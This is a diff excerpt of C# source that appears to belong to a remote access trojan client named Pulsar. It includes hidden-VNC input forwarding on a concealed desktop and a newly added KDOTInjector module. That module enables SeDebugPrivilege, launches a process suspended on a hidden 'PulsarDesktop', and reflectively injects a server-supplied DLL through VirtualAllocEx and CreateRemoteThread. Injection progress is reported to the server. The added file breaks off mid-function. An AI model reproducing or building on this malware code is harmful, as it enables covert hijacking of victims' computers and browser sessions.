/// Determines if a virtual key is a non-printable key (function keys, arrows, etc.).
|
||||
/// </summary>
|
||||
/// <param name="virtualKey">The virtual key code</param>
|
||||
/// <returns>True if the key is non-printable</returns>
|
||||
private bool IsNonPrintableKey(int virtualKey)
|
||||
{
|
||||
if (virtualKey >= 0x70 && virtualKey <= 0x7B) return true;
|
||||
|
||||
switch (virtualKey)
|
||||
{
|
||||
case 0x21: // VK_PRIOR (Page Up)
|
||||
case 0x22: // VK_NEXT (Page Down)
|
||||
case 0x23: // VK_END
|
||||
case 0x24: // VK_HOME
|
||||
case 0x25: // VK_LEFT
|
||||
case 0x26: // VK_UP
|
||||
case 0x27: // VK_RIGHT
|
||||
case 0x28: // VK_DOWN
|
||||
case 0x2D: // VK_INSERT
|
||||
case 0x2E: // VK_DELETE
|
||||
case 0x5B: // VK_LWIN
|
||||
case 0x5C: // VK_RWIN
|
||||
case 0x5D: // VK_APPS
|
||||
case 0x91: // VK_SCROLL
|
||||
case 0x90: // VK_NUMLOCK
|
||||
case 0x0D: // VK_RETURN (Enter)
|
||||
case 0x1B: // VK_ESCAPE
|
||||
case 0x09: // VK_TAB
|
||||
case 0x08: // VK_BACK (Backspace)
|
||||
return true;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Builds the appropriate lParam value for keyboard messages.
|
||||
/// </summary>
|
||||
/// <param name="message">The keyboard message (WM_KEYDOWN, WM_KEYUP, WM_CHAR)</param>
|
||||
/// <param name="wParam">The wParam containing the virtual key code</param>
|
||||
/// <returns>The properly formatted lParam for the keyboard message</returns>
|
||||
private IntPtr BuildKeyboardLParam(uint message, IntPtr wParam)
|
||||
{
|
||||
int vk = wParam.ToInt32();
|
||||
uint scanCode = MapVirtualKey((uint)vk, 0);
|
||||
|
||||
int lParam = 0;
|
||||
|
||||
lParam |= 1;
|
||||
|
||||
lParam |= (int)(scanCode << 16);
|
||||
|
||||
if (IsExtendedKey(vk))
|
||||
{
|
||||
lParam |= (1 << 24);
|
||||
}
|
||||
|
||||
if (message == WM_KEYUP)
|
||||
{
|
||||
lParam |= (1 << 30);
|
||||
lParam |= (1 << 31);
|
||||
}
|
||||
|
||||
return new IntPtr(lParam);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Determines if a virtual key code represents an extended key.
|
||||
/// </summary>
|
||||
/// <param name="virtualKey">The virtual key code</param>
|
||||
/// <returns>True if the key is an extended key</returns>
|
||||
private bool IsExtendedKey(int virtualKey)
|
||||
{
|
||||
switch (virtualKey)
|
||||
{
|
||||
case 0x21: // VK_PRIOR (Page Up)
|
||||
case 0x22: // VK_NEXT (Page Down)
|
||||
case 0x23: // VK_END
|
||||
case 0x24: // VK_HOME
|
||||
case 0x25: // VK_LEFT
|
||||
case 0x26: // VK_UP
|
||||
case 0x27: // VK_RIGHT
|
||||
case 0x28: // VK_DOWN
|
||||
case 0x2D: // VK_INSERT
|
||||
case 0x2E: // VK_DELETE
|
||||
case 0x5B: // VK_LWIN
|
||||
case 0x5C: // VK_RWIN
|
||||
case 0x5D: // VK_APPS
|
||||
case 0xA0: // VK_LSHIFT (when differentiated from VK_SHIFT)
|
||||
case 0xA1: // VK_RSHIFT
|
||||
case 0xA2: // VK_LCONTROL
|
||||
case 0xA3: // VK_RCONTROL
|
||||
case 0xA4: // VK_LMENU (Left Alt)
|
||||
case 0xA5: // VK_RMENU (Right Alt)
|
||||
case 0x91: // VK_SCROLL
|
||||
return true;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Helper Methods
|
||||
|
||||
/// <summary>
|
||||
/// Gets the X coordinate from an lParam.
|
||||
/// </summary>
|
||||
public static int GetXCoordinate(IntPtr lParam)
|
||||
{
|
||||
return (int)((short)(lParam.ToInt32() & 0xFFFF));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the Y coordinate from an lParam.
|
||||
/// </summary>
|
||||
public static int GetYCoordinate(IntPtr lParam)
|
||||
{
|
||||
return (int)((short)(lParam.ToInt32() >> 16 & 0xFFFF));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates an lParam from X and Y coordinates.
|
||||
/// </summary>
|
||||
public static IntPtr MakeLParam(int lowWord, int highWord)
|
||||
{
|
||||
return new IntPtr(highWord << 16 | (lowWord & 0xFFFF));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Calculates relative coordinates from screen to window
|
||||
/// </summary>
|
||||
private POINT ScreenToWindow(int screenX, int screenY, int windowX, int windowY, int windowWidth, int windowHeight)
|
||||
{
|
||||
int relativeX = screenX - windowX;
|
||||
int relativeY = screenY - windowY;
|
||||
|
||||
if (relativeX >= 0 && relativeX < windowWidth && relativeY >= 0 && relativeY < windowHeight)
|
||||
return new POINT { x = relativeX, y = relativeY };
|
||||
else
|
||||
return new POINT { x = -1, y = -1 };
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Input Processing
|
||||
|
||||
/// <summary>
|
||||
/// Processes an input message and sends it to the appropriate window.
|
||||
/// </summary>
|
||||
/// <param name="msg">The message to process.</param>
|
||||
/// <param name="wParam">The wParam of the message.</param>
|
||||
/// <param name="lParam">The lParam of the message.</param>
|
||||
public void Input(uint msg, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
lock (syncLock)
|
||||
{
|
||||
SetThreadDesktop(this.Desktop);
|
||||
|
||||
// Handle mouse messages
|
||||
if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP ||
|
||||
msg == WM_RBUTTONDOWN || msg == WM_RBUTTONUP ||
|
||||
msg == WM_MOUSEMOVE)
|
||||
{
|
||||
int x = GetXCoordinate(lParam);
|
||||
int y = GetYCoordinate(lParam);
|
||||
POINT cursorPosition = new POINT { x = x, y = y };
|
||||
|
||||
bool isLeft = (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP);
|
||||
bool isUp = (msg == WM_LBUTTONUP || msg == WM_RBUTTONUP);
|
||||
|
||||
if (isMovingWindow && isUp && isLeft)
|
||||
{
|
||||
// If we were moving a window and now released the button, complete the move
|
||||
SetWindowPos(windowToMove, IntPtr.Zero,
|
||||
x - lastClickCoords.x,
|
||||
y - lastClickCoords.y,
|
||||
lastWindowDimensions.x,
|
||||
lastWindowDimensions.y,
|
||||
0);
|
||||
isMovingWindow = false;
|
||||
}
|
||||
|
||||
// Get the window under the cursor
|
||||
IntPtr hwnd = WindowFromPoint(cursorPosition);
|
||||
workingWindow = hwnd;
|
||||
|
||||
if (hwnd != IntPtr.Zero)
|
||||
{
|
||||
// Get window information
|
||||
RECT windowRect;
|
||||
GetWindowRect(hwnd, out windowRect);
|
||||
|
||||
// Calculate window position and size
|
||||
int windowX = windowRect.left;
|
||||
int windowY = windowRect.top;
|
||||
int windowWidth = windowRect.right - windowRect.left;
|
||||
int windowHeight = windowRect.bottom - windowRect.top;
|
||||
|
||||
// Calculate position relative to window
|
||||
POINT clickCoords = ScreenToWindow(x, y, windowX, windowY, windowWidth, windowHeight);
|
||||
|
||||
// Get hit test result to determine what part of the window was clicked
|
||||
IntPtr hitTestResult = SendMessage(hwnd, WM_NCHITTEST, IntPtr.Zero, lParam);
|
||||
int hitTestResultInt = hitTestResult.ToInt32();
|
||||
|
||||
if (hitTestResultInt == HTCLOSE && msg == WM_LBUTTONUP)
|
||||
{
|
||||
// Close button clicked
|
||||
Debug.WriteLine("Closing window");
|
||||
PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
|
||||
PostMessage(hwnd, WM_DESTROY, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
else if (hitTestResultInt == HTCAPTION)
|
||||
{
|
||||
// Title bar clicked
|
||||
if (!isUp && isLeft && msg == WM_LBUTTONDOWN)
|
||||
{
|
||||
// Start window move operation
|
||||
lastClickCoords = clickCoords;
|
||||
lastWindowDimensions = new POINT { x = windowWidth, y = windowHeight };
|
||||
isMovingWindow = true;
|
||||
windowToMove = hwnd;
|
||||
Debug.WriteLine("Starting window move");
|
||||
}
|
||||
}
|
||||
else if (hitTestResultInt == HTMAXBUTTON && msg == WM_LBUTTONUP)
|
||||
{
|
||||
// Maximize/Restore button clicked
|
||||
WINDOWPLACEMENT windowPlacement = default;
|
||||
windowPlacement.length = Marshal.SizeOf<WINDOWPLACEMENT>(windowPlacement);
|
||||
GetWindowPlacement(hwnd, ref windowPlacement);
|
||||
|
||||
if ((windowPlacement.flags & SW_SHOWMAXIMIZED) != 0)
|
||||
{
|
||||
Debug.WriteLine("Restoring window");
|
||||
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_RESTORE), IntPtr.Zero);
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Maximizing window");
|
||||
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MAXIMIZE), IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
else if (hitTestResultInt == HTMINBUTTON && msg == WM_LBUTTONUP)
|
||||
{
|
||||
// Minimize button clicked
|
||||
Debug.WriteLine("Minimizing window");
|
||||
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MINIMIZE), IntPtr.Zero);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Regular window area clicked - forward the mouse message
|
||||
IntPtr param = isLeft ? new IntPtr(MK_LBUTTON) : new IntPtr(MK_RBUTTON);
|
||||
IntPtr translatedLParam = MakeLParam(clickCoords.x, clickCoords.y);
|
||||
PostMessage(hwnd, msg, param, translatedLParam);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Handle keyboard messages
|
||||
if (msg == WM_KEYDOWN || msg == WM_KEYUP || msg == WM_CHAR)
|
||||
{
|
||||
if (workingWindow != IntPtr.Zero)
|
||||
{
|
||||
HandleKeyboardInput(msg, wParam, lParam, workingWindow);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Nested Types
|
||||
|
||||
/// <summary>
|
||||
/// Desktop access rights flags.
|
||||
/// </summary>
|
||||
private enum DESKTOP_ACCESS : uint
|
||||
{
|
||||
DESKTOP_NONE,
|
||||
DESKTOP_READOBJECTS,
|
||||
DESKTOP_CREATEWINDOW,
|
||||
DESKTOP_CREATEMENU = 4U,
|
||||
DESKTOP_HOOKCONTROL = 8U,
|
||||
DESKTOP_JOURNALRECORD = 16U,
|
||||
DESKTOP_JOURNALPLAYBACK = 32U,
|
||||
DESKTOP_ENUMERATE = 64U,
|
||||
DESKTOP_WRITEOBJECTS = 128U,
|
||||
DESKTOP_SWITCHDESKTOP = 256U,
|
||||
GENERIC_ALL = 511U
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Represents a point (x,y coordinates).
|
||||
/// </summary>
|
||||
public struct POINT
|
||||
{
|
||||
public int x;
|
||||
public int y;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Represents a rectangle.
|
||||
/// </summary>
|
||||
public struct RECT
|
||||
{
|
||||
public int left;
|
||||
public int top;
|
||||
public int right;
|
||||
public int bottom;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Contains information about the placement of a window.
|
||||
/// </summary>
|
||||
public struct WINDOWPLACEMENT
|
||||
{
|
||||
public int length;
|
||||
public int flags;
|
||||
public int showCmd;
|
||||
public POINT ptMinPosition;
|
||||
public POINT ptMaxPosition;
|
||||
public RECT rcNormalPosition;
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,857 @@
|
||||
using Pulsar.Client.LoggingAPI;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
internal class KDOTInjector
|
||||
{
|
||||
/// <summary>
|
||||
/// Starts the reflective DLL injection process
|
||||
/// </summary>
|
||||
/// <param name="dllBytes">The DLL bytes to inject (received from server)</param>
|
||||
/// <param name="exePath">Path to the executable to start and inject into</param>
|
||||
/// <param name="searchPattern">Pattern to search for in the target process</param>
|
||||
/// <param name="replacementPath">Replacement path for the search pattern</param>
|
||||
/// <returns>Process ID of the started process, or 0 if failed</returns>
|
||||
public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (dllBytes == null || dllBytes.Length == 0)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (string.IsNullOrWhiteSpace(exePath))
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("[-] No target executable specified");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required");
|
||||
return 0;
|
||||
}
|
||||
|
||||
UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection");
|
||||
UniversalDebugLogger.SendLogToServer($" Target: {exePath}");
|
||||
UniversalDebugLogger.SendLogToServer($" Search Pattern: {searchPattern}");
|
||||
UniversalDebugLogger.SendLogToServer($" Replacement Path: {replacementPath}");
|
||||
UniversalDebugLogger.SendLogToServer($" DLL Size: {dllBytes.Length} bytes");
|
||||
|
||||
PrivilegeManager.EnableDebugPrivilege();
|
||||
|
||||
var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath);
|
||||
if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int processId = process.Id;
|
||||
UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}");
|
||||
|
||||
try
|
||||
{
|
||||
bool success = Injector.InjectDllWithHandle(hProcess, dllBytes);
|
||||
if (success)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}");
|
||||
UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}");
|
||||
UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}");
|
||||
}
|
||||
else
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("[-] Injection failed");
|
||||
Injector.CloseHandle(hProcess);
|
||||
Injector.CloseHandle(hThread);
|
||||
if (!process.HasExited)
|
||||
{
|
||||
process.Kill();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Injector.CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
UniversalDebugLogger.SendLogToServer("[+] Resuming main thread...");
|
||||
ProcessManager.ResumeThreadExP(hThread);
|
||||
Injector.CloseHandle(hThread);
|
||||
|
||||
UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes.");
|
||||
return processId;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Manages process creation and interaction
|
||||
/// </summary>
|
||||
internal static class ProcessManager
|
||||
{
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
private static extern bool CreateProcess(
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
IntPtr lpProcessAttributes,
|
||||
IntPtr lpThreadAttributes,
|
||||
bool bInheritHandles,
|
||||
uint dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
ref STARTUPINFO lpStartupInfo,
|
||||
out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern uint ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public int dwX;
|
||||
public int dwY;
|
||||
public int dwXSize;
|
||||
public int dwYSize;
|
||||
public int dwXCountChars;
|
||||
public int dwYCountChars;
|
||||
public int dwFillAttribute;
|
||||
public int dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
private const uint CREATE_SUSPENDED = 0x00000004;
|
||||
private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
|
||||
private const int STARTF_USEPOSITION = 0x00000004;
|
||||
|
||||
public static Process StartProcessNormal(string exePath)
|
||||
{
|
||||
if (!File.Exists(exePath))
|
||||
{
|
||||
Debug.WriteLine($"[-] Executable not found: {exePath}");
|
||||
return null;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
ProcessStartInfo psi = new ProcessStartInfo
|
||||
{
|
||||
FileName = exePath,
|
||||
UseShellExecute = false,
|
||||
WorkingDirectory = Path.GetDirectoryName(exePath)
|
||||
};
|
||||
|
||||
Process process = Process.Start(psi);
|
||||
return process;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath)
|
||||
{
|
||||
var envVars = Environment.GetEnvironmentVariables();
|
||||
|
||||
var envDict = new Dictionary<string, string>();
|
||||
foreach (System.Collections.DictionaryEntry entry in envVars)
|
||||
{
|
||||
envDict[entry.Key.ToString()] = entry.Value.ToString();
|
||||
}
|
||||
|
||||
envDict["RDI_SEARCH_PATH"] = searchPath;
|
||||
envDict["RDI_REPLACE_PATH"] = replacePath;
|
||||
|
||||
var envList = new List<string>();
|
||||
foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase))
|
||||
{
|
||||
envList.Add($"{kvp.Key}={kvp.Value}");
|
||||
}
|
||||
|
||||
string envBlock = string.Join("\0", envList) + "\0\0";
|
||||
|
||||
byte[] envBytes = Encoding.Unicode.GetBytes(envBlock);
|
||||
|
||||
IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length);
|
||||
Marshal.Copy(envBytes, 0, envPtr, envBytes.Length);
|
||||
|
||||
return envPtr;
|
||||
}
|
||||
|
||||
public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath)
|
||||
{
|
||||
if (!File.Exists(exePath))
|
||||
{
|
||||
Debug.WriteLine($"[-] Executable not found: {exePath}");
|
||||
return (null, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
|
||||
IntPtr envBlock = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
STARTUPINFO si = new STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
si.lpDesktop = "PulsarDesktop";
|
||||
|
||||
si.dwX = 0;
|
||||
si.dwY = 0;
|
||||
si.dwFlags = STARTF_USEPOSITION;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
string commandLine = $"\"{exePath}\" --window-position=0,0";
|
||||
|
||||
envBlock = CreateEnvironmentBlock(searchPath, replacePath);
|
||||
|
||||
Debug.WriteLine($"[*] Setting environment variables:");
|
||||
Debug.WriteLine($" RDI_SEARCH_PATH={searchPath}");
|
||||
Debug.WriteLine($" RDI_REPLACE_PATH={replacePath}");
|
||||
|
||||
bool success = CreateProcess(
|
||||
null,
|
||||
commandLine,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
false,
|
||||
CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT,
|
||||
envBlock,
|
||||
Path.GetDirectoryName(exePath),
|
||||
ref si,
|
||||
out pi);
|
||||
|
||||
if (!success)
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
Debug.WriteLine($"[-] Failed to create process. Error: {error}");
|
||||
return (null, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
|
||||
Process process = Process.GetProcessById((int)pi.dwProcessId);
|
||||
|
||||
return (process, pi.hProcess, pi.hThread);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
|
||||
return (null, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (envBlock != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(envBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void ResumeThreadExP(IntPtr hThread)
|
||||
{
|
||||
if (hThread != IntPtr.Zero)
|
||||
{
|
||||
uint suspendCount = ResumeThread(hThread);
|
||||
if (suspendCount == unchecked((uint)-1))
|
||||
{
|
||||
Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Manages Windows privileges (SeDebugPrivilege)
|
||||
/// </summary>
|
||||
internal static class PrivilegeManager
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
uint DesiredAccess,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
private static extern bool LookupPrivilegeValue(
|
||||
string lpSystemName,
|
||||
string lpName,
|
||||
out LUID lpLuid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool AdjustTokenPrivileges(
|
||||
IntPtr TokenHandle,
|
||||
bool DisableAllPrivileges,
|
||||
ref TOKEN_PRIVILEGES NewState,
|
||||
uint BufferLength,
|
||||
IntPtr PreviousState,
|
||||
IntPtr ReturnLength);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
|
||||
private const uint TOKEN_QUERY = 0x0008;
|
||||
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
|
||||
private const string SE_DEBUG_NAME = "SeDebugPrivilege";
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct LUID
|
||||
{
|
||||
public uint LowPart;
|
||||
public int HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct LUID_AND_ATTRIBUTES
|
||||
{
|
||||
public LUID Luid;
|
||||
public uint Attributes;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct TOKEN_PRIVILEGES
|
||||
{
|
||||
public uint PrivilegeCount;
|
||||
public LUID_AND_ATTRIBUTES Privileges;
|
||||
}
|
||||
|
||||
public static void EnableDebugPrivilege()
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr hToken;
|
||||
if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
|
||||
{
|
||||
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES
|
||||
{
|
||||
PrivilegeCount = 1,
|
||||
Privileges = new LUID_AND_ATTRIBUTES
|
||||
{
|
||||
Attributes = SE_PRIVILEGE_ENABLED
|
||||
}
|
||||
};
|
||||
|
||||
if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid))
|
||||
{
|
||||
AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// windows basically just gave us the middle finger
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Handles DLL injection using reflective loading
|
||||
/// </summary>
|
||||
internal static class Injector
|
||||
{
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenProcess(
|
||||
ProcessAccessFlags processAccess,
|
||||
bool bInheritHandle,
|
||||
int processId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr VirtualAllocEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
AllocationType flAllocationType,
|
||||
MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
uint nSize,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern IntPtr CreateRemoteThread(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpThreadAttributes,
|
||||
uint dwStackSize,
|
||||
IntPtr lpStartAddress,
|
||||
IntPtr lpParameter,
|
||||
uint dwCreationFlags,
|
||||
out IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
private const uint INFINITE = 0xFFFFFFFF;
|
||||
|
||||
[Flags]
|
||||
private enum ProcessAccessFlags : uint
|
||||
{
|
||||
PROCESS_CREATE_THREAD = 0x0002,
|
||||
PROCESS_QUERY_INFORMATION = 0x0400,
|
||||
PROCESS_VM_OPERATION = 0x0008,
|
||||
PROCESS_VM_WRITE = 0x0020,
|
||||
PROCESS_VM_READ = 0x0010,
|
||||
All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||
}
|
||||
|
||||
[Flags]
|
||||
private enum AllocationType : uint
|
||||
{
|
||||
MEM_COMMIT = 0x1000,
|
||||
MEM_RESERVE = 0x2000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
private enum MemoryProtection : uint
|
||||
{
|
||||
PAGE_EXECUTE_READWRITE = 0x40,
|
||||
PAGE_READWRITE = 0x04
|
||||
}
|
||||
|
||||
public static bool InjectDll(int processId, byte[] dllBuffer)
|
||||
{
|
||||
IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId);
|
||||
if (hProcess == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}");
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
|
||||
if (hThread == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
|
||||
return false;
|
||||
}
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
return true;
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer)
|
||||
{
|
||||
if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0)
|
||||
{
|
||||
Debug.WriteLine("[-] Invalid parameters for injection");
|
||||
return false;
|
||||
}
|
||||
|
||||
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
|
||||
if (hThread == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
|
||||
return false;
|
||||
}
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
return true;
|
||||
}
|
||||
|
||||
private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0)
|
||||
return IntPtr.Zero;
|
||||
|
||||
uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer);
|
||||
if (reflectiveLoaderOffset == 0)
|
||||
{
|
||||
Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr lpRemoteLibraryBuffer = VirtualAllocEx(
|
||||
hProcess,
|
||||
IntPtr.Zero,
|
||||
(uint)buffer.Length,
|
||||
AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT,
|
||||
MemoryProtection.PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (lpRemoteLibraryBuffer == IntPtr.Zero)
|
||||
